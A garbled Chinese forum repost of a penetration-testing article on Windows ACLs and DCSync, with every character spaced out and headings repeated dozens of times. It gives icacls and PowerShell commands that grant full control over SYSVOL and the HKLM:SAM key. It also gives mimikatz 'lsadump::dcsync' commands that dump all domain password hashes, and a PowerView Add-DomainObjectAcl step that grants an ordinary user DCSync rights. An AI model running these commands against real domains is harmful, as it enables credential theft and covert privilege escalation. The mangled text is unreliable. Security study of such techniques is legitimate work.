搜索

[7026] 2020-11-01_关于windows下的ACL与dcsync

文档创建者：s7ckTeam
浏览次数：0
最后更新：2025-01-17
2020-11-01_关于windows下的ACL与dcsync 关 于 w i n d o w s 下 的 A C L 与 d c s y n c E 安 全   2 0 2 0 - 1 1 - 0 1 以 下 文 章 来 源 于 雷 神 众 测   ， 作 者 Y a n g s i r 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 由 于 传 播 、 利 用 此 文 所 提 供 的 信 息 而 造 成 的 任 何 直 接 或 者 间 接 的 后 果 及 损 失 ， 均 由 使 用 者 本 人 负 责 ， 雷 神 众 测 以 及 文 章 作 者 不 为 此 承 担 任 何 责 任 。 雷 神 众 测 拥 有 对 此 文 章 的 修 改 和 解 释 权 。 如 欲 转 载 或 传 播 此 文 章 ， 必 须 保 证 此 文 章 的 完 整 性 ， 包 括 版 权 声 明 等 全 部 内 容 。 未 经 雷 神 众 测 允 许 ， 不 得 任 意 修 改 或 者 增 减 此 文 章 内 容 ， 不 得 以 任 何 方 式 将 其 用 于 商 业 目 的 。 N o . 1 N o . 1 简 介 简 介 A C L 简 介 简 介 A C L 简 介 简 介 A C L 简 介 简 介 A C L 简 介 简 介 A C L 简 介 简 介 A C L 简 介 简 介 A C L 简 介 简 介 A C L 简 介 简 介 A C L 简 介 简 介 A C L 简 介 简 介 A C L 简 介 简 介 A C L 简 介 简 介 A C L 简 介 简 介 A C L 简 介 简 介 A C L 简 介 简 介 A C L 简 介 简 介 A C L 简 介 简 介 A C L 简 介 简 介 A C L 简 介 简 介 A C L 简 介 简 介 A C L 简 介 简 介 A C L 简 介 简 介 A C L 简 介 简 介 A C L 简 介 简 介 A C L 简 介 简 介 A C L 简 介 简 介 A C L 简 介 简 介 A C L 简 介 简 介 A C L 简 介 简 介 A C L 简 介 简 介 A C L 简 介 简 介 A C L 简 介 简 介 A C L 简 介 简 介 A C L w i n d o w s 系 统 中 的 A C L ( A c c e s s   C o n t r o l   L i s t ) ， 用 来 表 示 组 与 用 户 权 限 的 列 表 。 比 如 文 件 、 注 册 表 的 权 限 都 包 括 A C L ， 它 用 来 表 示 哪 些 组 与 用 户 具 有 操 作 权 限 ， 其 实 主 要 是 一 组 规 则 ， 定 义 哪 些 组 与 用 户 等 对 特 定 A D 对 象 具 有 哪 些 权 限 。 大 致 模 样 大 致 模 样 简 单 说 明 ： A C L ： A c c e s s   C o n t r o l   L i s t ， 用 来 表 示 用 户 （ 组 ） 权 限 的 列 表 ， 包 括 D A C L 和 S A C L ； A C E ： A c c e s s   C o n t r o l   E n t r y ， A C L 中 的 元 素 ； D A C L ： D i s c r e t i o n a r y   A c c e s s   C o n t r o l   L i s t ， 用 来 表 示 安 全 对 象 权 限 的 列 表 ； S A C L ： S y s t e m   A c c e s s   C o n t r o l   L i s t ， 用 来 记 录 对 安 全 对 象 访 问 的 日 志 ； 具 体 实 现 对 某 个 文 件 进 行 访 问 ， 系 统 将 做 以 下 判 断 ： 具 体 实 现 对 某 个 文 件 进 行 访 问 ， 系 统 将 做 以 下 判 断 ： 无 D A C L ， 系 统 将 允 许 访 问 ， 也 就 是 系 统 内 的 所 有 组 与 用 户 都 没 有 做 限 制 ； 有 D A C L ， 无 A C E ， 系 统 将 拒 绝 所 有 访 问 ， 也 就 是 系 统 内 的 组 与 用 户 有 限 制 ， 但 是 没 有 A C E 也 就 是 不 允 许 任 何 操 作 ； 有 D A C L ， 有 A C E ， 将 就 是 按 照 A C E 的 内 容 去 执 行 相 应 组 与 用 户 的 限 制 ， 只 有 对 应 的 A C E 可 以 进 行 操 作 ； 具 体 文 件 内 具 体 文 件 内 查 看 文 件 夹 C : W i n d o w s S Y S V O L s y s v o l 0 d a y . o r g 的 D A C L ， 详 情 看 标 注 ： 雷 神 众 测 雷 神 众 测   . 雷 神 众 测 ， 专 注 于 渗 透 测 试 技 术 及 全 球 最 新 网 络 攻 击 技 术 的 分 析 。
选 择 一 条 D A C L 包 含 多 个 A C E ， 表 示 具 有 的 权 限 如 下 ： N o . 2 N o . 2 针 对 针 对 A C L 的 操 作 的 操 作 针 对 针 对 A C L 的 操 作 的 操 作 针 对 针 对 A C L 的 操 作 的 操 作 针 对 针 对 A C L 的 操 作 的 操 作 针 对 针 对 A C L 的 操 作 的 操 作 针 对 针 对 A C L 的 操 作 的 操 作 针 对 针 对 A C L 的 操 作 的 操 作 针 对 针 对 A C L 的 操 作 的 操 作 针 对 针 对 A C L 的 操 作 的 操 作 针 对 针 对 A C L 的 操 作 的 操 作 针 对 针 对 A C L 的 操 作 的 操 作 针 对 针 对 A C L 的 操 作 的 操 作 针 对 针 对 A C L 的 操 作 的 操 作 针 对 针 对 A C L 的 操 作 的 操 作 针 对 针 对 A C L 的 操 作 的 操 作 针 对 针 对 A C L 的 操 作 的 操 作 针 对 针 对 A C L 的 操 作 的 操 作 针 对 针 对 A C L 的 操 作 的 操 作 针 对 针 对 A C L 的 操 作 的 操 作 针 对 针 对 A C L 的 操 作 的 操 作 针 对 针 对 A C L 的 操 作 的 操 作 针 对 针 对 A C L 的 操 作 的 操 作 针 对 针 对 A C L 的 操 作 的 操 作 针 对 针 对 A C L 的 操 作 的 操 作 针 对 针 对 A C L 的 操 作 的 操 作 针 对 针 对 A C L 的 操 作 的 操 作 针 对 针 对 A C L 的 操 作 的 操 作 针 对 针 对 A C L 的 操 作 的 操 作 针 对 针 对 A C L 的 操 作 的 操 作 针 对 针 对 A C L 的 操 作 的 操 作 针 对 针 对 A C L 的 操 作 的 操 作 针 对 针 对 A C L 的 操 作 的 操 作 针 对 针 对 A C L 的 操 作 的 操 作 针 对 针 对 A C L 的 操 作 的 操 作 i c a c l s 操 作 操 作 A C L 查 看 指 定 文 件 的 A C L 其 中 ( O I ) 代 表 对 象 继 承   ( C I ) 代 表 容 器 继 承   ( F ) 代 表 完 全 访 问 ： i c a c l s   C : W i n d o w s S Y S V O L s y s v o l 0 d a y . o r g
备 份 指 定 文 件 夹 A C L ： i c a c l s   C : W i n d o w s S Y S V O L s y s v o l 0 d a y . o r g   / s a v e   A c l b a c k   / t 还 原 先 前 备 份 的 A C L （ 注 意 这 里 还 原 的 路 径 需 要 为 先 前 备 份 的 路 径 的 上 一 级 ） ： i c a c l s   C : W i n d o w s S Y S V O L s y s v o l     / r e s t o r e   A c l b a c k     / t 添 加 用 户 对 指 定 文 件 的 完 全 访 问 权 限 ： i c a c l s   C : W i n d o w s S Y S V O L s y s v o l 0 d a y . o r g   / g r a n t   j a c k : ( O I ) ( C I ) ( F )   / t 效 果 如 下 ：
移 除 用 户 对 指 定 文 件 ( 包 括 当 前 目 录 、 子 目 录 ) 的 完 全 访 问 权 限 ： i c a c l s   C : W i n d o w s S Y S V O L s y s v o l 0 d a y . o r g   / r e m o v e   j a c k   / t 效 果 如 下 ， 已 无 先 前 条 目 ： p o w e r s h e l l 操 作 操 作 A C L 查 看 指 定 路 径 的 A C L ： G e t - A c l   - P a t h   ' C : W i n d o w s S Y S V O L s y s v o l 0 d a y . o r g ' |   F o r m a t - T a b l e   - w r a p
查 询 后 效 果 如 下 ： 移 除 用 户 对 指 定 文 件 的 完 全 访 问 权 限 ， 效 果 如 下 ： 注 册 表 操 作 注 册 表 操 作 A C L 查 看 指 定 路 径 的 A C L ： G e t - A c l   - P a t h   ' H K L M : S A M ' |   F o r m a t - T a b l e   - w r a p 添 加 用 户 对 指 定 文 件 的 完 全 访 问 权 限 ： f u n c t i o n   A d d - A C L {         [ C m d l e t B i n d i n g ( ) ]                               P a r a m   (                 [ P a r a m e t e r ( M a n d a t o r y   =   $ T r u e ) ]                 [ S t r i n g ]                 [ V a l i d a t e N o t N u l l O r E m p t y ( ) ]                 $ P a t h         )           $ a c l   =   G e t - A c l   - P a t h   $ P a t h         $ p e r s o n   =   [ S y s t e m . S e c u r i t y . P r i n c i p a l . N T A c c o u n t ] " j a c k "   这 里 是 用 户 名         $ a c c e s s   =   [ S y s t e m . S e c u r i t y . A c c e s s C o n t r o l . F i l e S y s t e m R i g h t s ] " F u l l C o n t r o l "         $ i n h e r i t a n c e   =   [ S y s t e m . S e c u r i t y . A c c e s s C o n t r o l . I n h e r i t a n c e F l a g s ] " O b j e c t I n h e r i t , C o n t a i n e r I n h e r i t "         $ p r o p a g a t i o n   =   [ S y s t e m . S e c u r i t y . A c c e s s C o n t r o l . P r o p a g a t i o n F l a g s ] " N o n e "         $ t y p e   =   [ S y s t e m . S e c u r i t y . A c c e s s C o n t r o l . A c c e s s C o n t r o l T y p e ] " A l l o w "         $ r u l e   =   N e w - O b j e c t   S y s t e m . S e c u r i t y . A c c e s s C o n t r o l . F i l e S y s t e m A c c e s s R u l e (   `         $ p e r s o n , $ a c c e s s , $ i n h e r i t a n c e , $ p r o p a g a t i o n , $ t y p e )         $ a c l . A d d A c c e s s R u l e ( $ r u l e )         S e t - A c l   $ P a t h   $ a c l } A d d - A C L   - P a t h   ' C : W i n d o w s S Y S V O L s y s v o l 0 d a y . o r g '
获 得 A c c e s s 项 的 具 体 内 容 ： $ a c l   =   G e t - A c l   - P a t h   ' H K L M : S A M ' $ a c l . A c c e s s 注 意 ： 注 册 表 项 H K L M : S A M 的 A C L 需 要 A d m i n i s t r a t o r 权 限 注 册 表 项 H K L M : S A M S A M 的 A C L 需 要 S y s t e m 权 限 最 终 查 询 效 果 如 下 ： 添 加 用 户 对 指 定 路 径 的 完 全 访 问 权 限 ： $ a c l   =   G e t - A c l   H K L M : S A M $ p e r s o n   =   [ S y s t e m . S e c u r i t y . P r i n c i p a l . N T A c c o u n t ] " j a c k " $ a c c e s s   =   [ S y s t e m . S e c u r i t y . A c c e s s C o n t r o l . R e g i s t r y R i g h t s ] " F u l l C o n t r o l " $ i n h e r i t a n c e   =   [ S y s t e m . S e c u r i t y . A c c e s s C o n t r o l . I n h e r i t a n c e F l a g s ] " O b j e c t I n h e r i t , C o n t a i n e r I n h e r i t " $ p r o p a g a t i o n   =   [ S y s t e m . S e c u r i t y . A c c e s s C o n t r o l . P r o p a g a t i o n F l a g s ] " N o n e " $ t y p e   =   [ S y s t e m . S e c u r i t y . A c c e s s C o n t r o l . A c c e s s C o n t r o l T y p e ] " A l l o w " $ r u l e   =   N e w - O b j e c t   S y s t e m . S e c u r i t y . A c c e s s C o n t r o l . R e g i s t r y A c c e s s R u l e (   ` $ p e r s o n , $ a c c e s s , $ i n h e r i t a n c e , $ p r o p a g a t i o n , $ t y p e ) $ a c l . A d d A c c e s s R u l e ( $ r u l e ) S e t - A c l   H K L M : S A M   $ a c l
N o . 3 N o . 3 简 介 简 介 d c s y n c 简 介 简 介 d c s y n c 简 介 简 介 d c s y n c 简 介 简 介 d c s y n c 简 介 简 介 d c s y n c 简 介 简 介 d c s y n c 简 介 简 介 d c s y n c 简 介 简 介 d c s y n c 简 介 简 介 d c s y n c 简 介 简 介 d c s y n c 简 介 简 介 d c s y n c 简 介 简 介 d c s y n c 简 介 简 介 d c s y n c 简 介 简 介 d c s y n c 简 介 简 介 d c s y n c 简 介 简 介 d c s y n c 简 介 简 介 d c s y n c 简 介 简 介 d c s y n c 简 介 简 介 d c s y n c 简 介 简 介 d c s y n c 简 介 简 介 d c s y n c 简 介 简 介 d c s y n c 简 介 简 介 d c s y n c 简 介 简 介 d c s y n c 简 介 简 介 d c s y n c 简 介 简 介 d c s y n c 简 介 简 介 d c s y n c 简 介 简 介 d c s y n c 简 介 简 介 d c s y n c 简 介 简 介 d c s y n c 简 介 简 介 d c s y n c 简 介 简 介 d c s y n c 简 介 简 介 d c s y n c 简 介 简 介 d c s y n c d c s y n c 其 实 是 m i m i k a t z 的 一 个 功 能 ， 能 够 从 域 控 内 导 出 帐 户 密 码 h a s h ， 如 果 我 们 在 域 内 一 台 主 机 上 获 得 了 域 管 理 员 权 限 ， 能 够 使 用 相 关 命 令 获 得 其 他 用 户 h a s h ； 默 认 情 况 下 ， 只 有 部 分 权 限 （ 后 文 会 提 ） 能 够 使 用 d c s y n c ， 结 合 上 文 知 识 可 实 现 给 普 通 用 户 增 加 策 略 权 限 使 用 d c s y n c 导 出 h a s h 。 原 理 原 理 利 用 D R S ( D i r e c t o r y   R e p l i c a t i o n   S e r v i c e ) 协 议 通 过 I D L _ D R S G e t N C C h a n g e s 从 域 控 制 器 复 制 用 户 凭 据 ， 这 里 这 个 点 参 考 链 接 写 的 更 详 细 正 常 情 况 下 导 出 方 法 正 常 情 况 下 导 出 方 法 获 得 任 意 个 用 户 的 权 限 ： A d m i n i s t r a t o r s 组 内 的 用 户 、 D o m a i n   A d m i n s 组 内 的 用 户 、 E n t e r p r i s e   A d m i n s 组 内 的 用 户 、 域 控 制 器 的 计 算 机 帐 户 当 前 为 域 管 用 户 ， 导 出 域 内 所 有 用 户 的 h a s h ： m i m i k a t z . e x e   " l s a d u m p : : d c s y n c   / d o m a i n : 0 d a y . o r g   / a l l   / c s v "   e x i t 导 出 指 定 用 户 ， 如 a d m i n i s i t r a t o r 的 h a s h ： m i m i k a t z . e x e   " l s a d u m p : : d c s y n c   / d o m a i n : 0 d a y . o r g   / u s e r : a d m i n i s t r a t o r   / c s v "   e x i t 移 除 用 户 对 指 定 路 径 的 完 全 访 问 权 限 $ a c l   =   G e t - A c l   H K L M : S A M $ p e r s o n   =   [ S y s t e m . S e c u r i t y . P r i n c i p a l . N T A c c o u n t ] " j a c k " $ a c c e s s   =   [ S y s t e m . S e c u r i t y . A c c e s s C o n t r o l . R e g i s t r y R i g h t s ] " F u l l C o n t r o l " $ i n h e r i t a n c e   =   [ S y s t e m . S e c u r i t y . A c c e s s C o n t r o l . I n h e r i t a n c e F l a g s ] " O b j e c t I n h e r i t , C o n t a i n e r I n h e r i t " $ p r o p a g a t i o n   =   [ S y s t e m . S e c u r i t y . A c c e s s C o n t r o l . P r o p a g a t i o n F l a g s ] " N o n e " $ t y p e   =   [ S y s t e m . S e c u r i t y . A c c e s s C o n t r o l . A c c e s s C o n t r o l T y p e ] " A l l o w " $ r u l e   =   N e w - O b j e c t   S y s t e m . S e c u r i t y . A c c e s s C o n t r o l . R e g i s t r y A c c e s s R u l e (   ` $ p e r s o n , $ a c c e s s , $ i n h e r i t a n c e , $ p r o p a g a t i o n , $ t y p e ) $ a c l . R e m o v e A c c e s s R u l e ( $ r u l e ) S e t - A c l   H K L M : S A M   $ a c l
还 有 些 其 他 方 法 还 有 些 其 他 方 法 使 用 r u n a s 登 录 s q l a d m i n 用 户 再 d c s y n c ， 当 然 这 里 也 是 要 有 权 限 的 ： r u n a s   / n o p r o f i l e   / u s e r : s q l a d m i n @ 0 d a y . o r g   c m d 获 得 h a s h ： m i m i k a t z . e x e   p r i v i l e g e : : d e b u g   " l s a d u m p : : d c s y n c   / d o m a i n : 0 d a y . o r g     / a l l   / c s v "   e x i t
也 可 以 不 弹 框 的 ： r u n a s   / n o p r o f i l e   / u s e r : s q l a d m i n @ 0 d a y . o r g   c : t e s t 1 . b a t b a t 内 容 如 下 ： 最 终 结 果 ： N o . 4 N o . 4 结 合 使 用 结 合 使 用 结 合 使 用 结 合 使 用 结 合 使 用 结 合 使 用 结 合 使 用 结 合 使 用 结 合 使 用 结 合 使 用 结 合 使 用 结 合 使 用 结 合 使 用 结 合 使 用 结 合 使 用 结 合 使 用 结 合 使 用 结 合 使 用 结 合 使 用 结 合 使 用 结 合 使 用 结 合 使 用 结 合 使 用 结 合 使 用 结 合 使 用 结 合 使 用 结 合 使 用 结 合 使 用 结 合 使 用 结 合 使 用 结 合 使 用 结 合 使 用 结 合 使 用 结 合 使 用 结 合 使 用 结 合 使 用 结 合 使 用 结 合 使 用 结 合 使 用 结 合 使 用 结 合 使 用 结 合 使 用 结 合 使 用 结 合 使 用 结 合 使 用 结 合 使 用 结 合 使 用 结 合 使 用 结 合 使 用 结 合 使 用 结 合 使 用 结 合 使 用 结 合 使 用 结 合 使 用 结 合 使 用 结 合 使 用 结 合 使 用 结 合 使 用 结 合 使 用 结 合 使 用 结 合 使 用 结 合 使 用 结 合 使 用 结 合 使 用 结 合 使 用 结 合 使 用 结 合 使 用 结 合 使 用 获 得 任 意 个 用 户 的 权 限 ： D o m a i n   A d m i n s 组 内 的 用 户 、 E n t e r p r i s e   A d m i n s 组 内 的 用 户 主 要 原 理 主 要 原 理 向 域 内 的 一 个 普 通 用 户 添 加 如 下 三 条 A C E ( A c c e s s   C o n t r o l   E n t r i e s ) ： D S - R e p l i c a t i o n - G e t - C h a n g e s ( G U I D : 1 1 3 1 f 6 a a - 9 c 0 7 - 1 1 d 1 - f 7 9 f - 0 0 c 0 4 f c 2 d c d 2 ) ； D S - R e p l i c a t i o n - G e t - C h a n g e s - A l l ( G U I D : 1 1 3 1 f 6 a d - 9 c 0 7 - 1 1 d 1 - f 7 9 f - 0 0 c 0 4 f c 2 d c d 2 ) ； D S - R e p l i c a t i o n - G e t - C h a n g e s ( G U I D : 8 9 e 9 5 b 7 6 - 4 4 4 d - 4 c 6 2 - 9 9 1 a - 0 f a c b e d a 6 4 0 c ) ； 即 可 使 用 相 关 账 户 导 出 域 内 用 户 h a s h 。 j a c k 普 通 用 户 ， 确 认 无 法 获 取 h a s h 信 息 : m i m i k a t z . e x e   p r i v i l e g e : : d e b u g   " l s a d u m p : : d c s y n c   / d o m a i n : 0 d a y . o r g     / a l l   / c s v "   e x i t  
最 直 接 ： 最 直 接 ： 添 加 用 户 对 指 定 对 象 ( g u i d ) 的 完 全 访 问 权 限 ： A d d - D o m a i n O b j e c t A c l   - T a r g e t I d e n t i t y   ' 1 1 3 1 f 6 a a - 9 c 0 7 - 1 1 d 1 - f 7 9 f - 0 0 c 0 4 f c 2 d c d 2 '   - P r i n c i p a l I d e n t i t y   j a c k   - R i g h t s   A l l 移 除 用 户 对 指 定 对 象 ( g u i d ) 的 完 全 访 问 权 限 ： R e m o v e - D o m a i n O b j e c t A c l   - T a r g e t I d e n t i t y   ' 1 1 3 1 f 6 a a - 9 c 0 7 - 1 1 d 1 - f 7 9 f - 0 0 c 0 4 f c 2 d c d 2 '   - P r i n c i p a l I d e n t i t y   j a c k   - R i g h t s   A l l 这 里 结 合 p o w e r v i e w ： h t t p s : / / g i t h u b . c o m / P o w e r S h e l l M a f i a / P o w e r S p l o i t / b l o b / d e v / R e c o n / P o w e r V i e w . p s 1 添 加 添 加 A C E : A d d - D o m a i n O b j e c t A c l   - T a r g e t I d e n t i t y   " D C = 0 d a y , D C = o r g "   - P r i n c i p a l I d e n t i t y   j a c k   - R i g h t s   D C S y n c   对 比 确 认 新 增 如 下 ： 相 关 用 户 可 获 得 h a s h 信 息 如 下 ： 删 除 普 通 用 户 j a c k 权 限 ：
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理